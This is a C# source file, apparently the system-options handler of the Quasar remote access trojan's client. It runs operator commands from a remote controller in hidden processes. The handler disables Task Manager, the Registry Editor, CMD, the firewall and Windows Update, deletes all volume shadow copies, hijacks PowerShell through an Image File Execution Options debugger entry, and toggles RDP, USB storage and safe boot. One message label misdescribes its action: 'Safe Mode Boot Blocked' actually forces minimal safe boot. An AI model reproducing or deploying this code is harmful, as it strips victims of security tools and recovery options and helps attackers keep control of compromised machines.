using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;

// NOTE: All registry access is fully qualified as Microsoft.Win32.Registry.*
// to avoid ambiguity with the Quasar.Client.Registry namespace.

namespace Quasar.Client.Messages
{
    public class SystemOptionHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoSystemOption;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoSystemOption option:
                    Execute(sender, option);
                    break;
            }
        }

        private void Execute(ISender client, DoSystemOption message)
        {
            try
            {
                bool success = false;
                string resultMessage = "";

                switch (message.Option.ToUpper())
                {
                    case "REGISTRY":
                        success = SetRegistryOption(message.Enable);
                        resultMessage = message.Enable ? "Registry Editor Enabled" : "Registry Editor Disabled";
                        break;
                    case "TASKMGR":
                        success = SetTaskManagerOption(message.Enable);
                        resultMessage = message.Enable ? "Task Manager Enabled" : "Task Manager Disabled";
                        break;
                    case "CMD":
                        success = SetCmdOption(message.Enable);
                        resultMessage = message.Enable ? "Command Prompt Enabled" : "Command Prompt Disabled";
                        break;
                    case "FIREWALL":
                        success = SetFirewallOption(message.Enable);
                        resultMessage = message.Enable ? "Firewall Enabled" : "Firewall Disabled";
                        break;
                    case "RESTOREPOINTS":
                        success = DeleteRestorePoints();
                        resultMessage = "Restore Points Deleted";
                        break;
                    case "POWERSHELL":
                        success = SetPowerShellOption(message.Enable);
                        resultMessage = message.Enable ? "PowerShell Enabled" : "PowerShell Disabled";
                        break;
                    case "PSEXECUTION":
                        success = SetPsExecutionPolicy(message.Enable);
                        resultMessage = message.Enable ? "PS Script Execution Enabled" : "PS Script Execution Restricted";
                        break;
                    case "WINDOWSUPDATE":
                        success = SetWindowsUpdateOption(message.Enable);
                        resultMessage = message.Enable ? "Windows Update Enabled" : "Windows Update Disabled";
                        break;
                    case "RDP":
                        success = SetRdpOption(message.Enable);
                        resultMessage = message.Enable ? "Remote Desktop Enabled" : "Remote Desktop Disabled";
                        break;
                    case "USB":
                        success = SetUsbStorageOption(message.Enable);
                        resultMessage = message.Enable ? "USB Storage Enabled" : "USB Storage Disabled";
                        break;
                    case "CONTROLPANEL":
                        success = SetControlPanelOption(message.Enable);
                        resultMessage = message.Enable ? "Control Panel Enabled" : "Control Panel Disabled";
                        break;
                    case "RUNDIALOG":
                        success = SetRunDialogOption(message.Enable);
                        resultMessage = message.Enable ? "Run Dialog Enabled" : "Run Dialog Disabled";
                        break;
                    case "SAFEMODE":
                        success = SetSafeModeOption(message.Enable);
                        resultMessage = message.Enable ? "Safe Mode Boot Allowed" : "Safe Mode Boot Blocked";
                        break;
                    default:
                        resultMessage = "Unknown option: " + message.Option;
                        break;
                }

                client.Send(new SystemOptionResponse { Success = success, Message = resultMessage });
            }
            catch (Exception ex)
            {
                client.Send(new SystemOptionResponse { Success = false, Message = "Error: " + ex.Message });
            }
        }

        private bool SetRegistryOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System"))
                {
                    if (enable) key.DeleteValue("DisableRegistryTools", false);
                    else key.SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord);
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetTaskManagerOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\System"))
                {
                    if (enable) key.DeleteValue("DisableTaskMgr", false);
                    else key.SetValue("DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetCmdOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Policies\Microsoft\Windows\System"))
                {
                    if (enable) key.DeleteValue("DisableCMD", false);
                    else key.SetValue("DisableCMD", 1, Microsoft.Win32.RegistryValueKind.DWord);
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetFirewallOption(bool enable)
        {
            try
            {
                RunCommand("netsh", $"advfirewall set allprofiles state {(enable ? "on" : "off")}");
                return true;
            }
            catch { return false; }
        }

        private bool DeleteRestorePoints()
        {
            try
            {
                RunCommand("vssadmin", "delete shadows /all /quiet");
                return true;
            }
            catch { return false; }
        }

        private bool SetPowerShellOption(bool enable)
        {
            try
            {
                // Image File Execution Options debugger trick — redirects powershell.exe to nothing
                string[] targets = { "powershell.exe", "powershell_ise.exe" };
                foreach (var exe in targets)
                {
                    string path = $@"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\{exe}";
                    if (enable)
                    {
                        Microsoft.Win32.Registry.LocalMachine.DeleteSubKey(path, false);
                    }
                    else
                    {
                        using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(path))
                            key.SetValue("Debugger", "svchost.exe", Microsoft.Win32.RegistryValueKind.String);
                    }
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetPsExecutionPolicy(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"))
                {
                    key.SetValue("ExecutionPolicy", enable ? "Unrestricted" : "Restricted", Microsoft.Win32.RegistryValueKind.String);
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetWindowsUpdateOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU"))
                {
                    if (enable) key.DeleteValue("NoAutoUpdate", false);
                    else key.SetValue("NoAutoUpdate", 1, Microsoft.Win32.RegistryValueKind.DWord);
                }
                RunCommand("sc", $"config wuauserv start= {(enable ? "auto" : "disabled")}");
                RunCommand("sc", $"{(enable ? "start" : "stop")} wuauserv");
                return true;
            }
            catch { return false; }
        }

        private bool SetRdpOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server", true))
                    key?.SetValue("fDenyTSConnections", enable ? 0 : 1, Microsoft.Win32.RegistryValueKind.DWord);
                RunCommand("netsh", $"advfirewall firewall set rule group=\"remote desktop\" new enable={(enable ? "enable" : "disable")}");
                return true;
            }
            catch { return false; }
        }

        private bool SetUsbStorageOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Services\USBSTOR", true))
                    key?.SetValue("Start", enable ? 3 : 4, Microsoft.Win32.RegistryValueKind.DWord);
                return true;
            }
            catch { return false; }
        }

        private bool SetControlPanelOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"))
                {
                    if (enable) key.DeleteValue("NoControlPanel", false);
                    else key.SetValue("NoControlPanel", 1, Microsoft.Win32.RegistryValueKind.DWord);
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetRunDialogOption(bool enable)
        {
            try
            {
                using (var key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"))
                {
                    if (enable)
                    {
                        key.DeleteValue("NoRun", false);
                        key.DeleteValue("NoFind", false);
                    }
                    else
                    {
                        key.SetValue("NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord);
                        key.SetValue("NoFind", 1, Microsoft.Win32.RegistryValueKind.DWord);
                    }
                }
                return true;
            }
            catch { return false; }
        }

        private bool SetSafeModeOption(bool enable)
        {
            try
            {
                if (enable)
                    RunCommand("bcdedit", "/deletevalue safeboot");
                else
                    RunCommand("bcdedit", "/set safeboot minimal");
                return true;
            }
            catch { return false; }
        }

        private void RunCommand(string exe, string args)
        {
            var psi = new ProcessStartInfo
            {
                FileName = exe,
                Arguments = args,
                CreateNoWindow = true,
                UseShellExecute = false,
                WindowStyle = ProcessWindowStyle.Hidden
            };
            using (var p = Process.Start(psi))
                p?.WaitForExit();
        }
    }
}
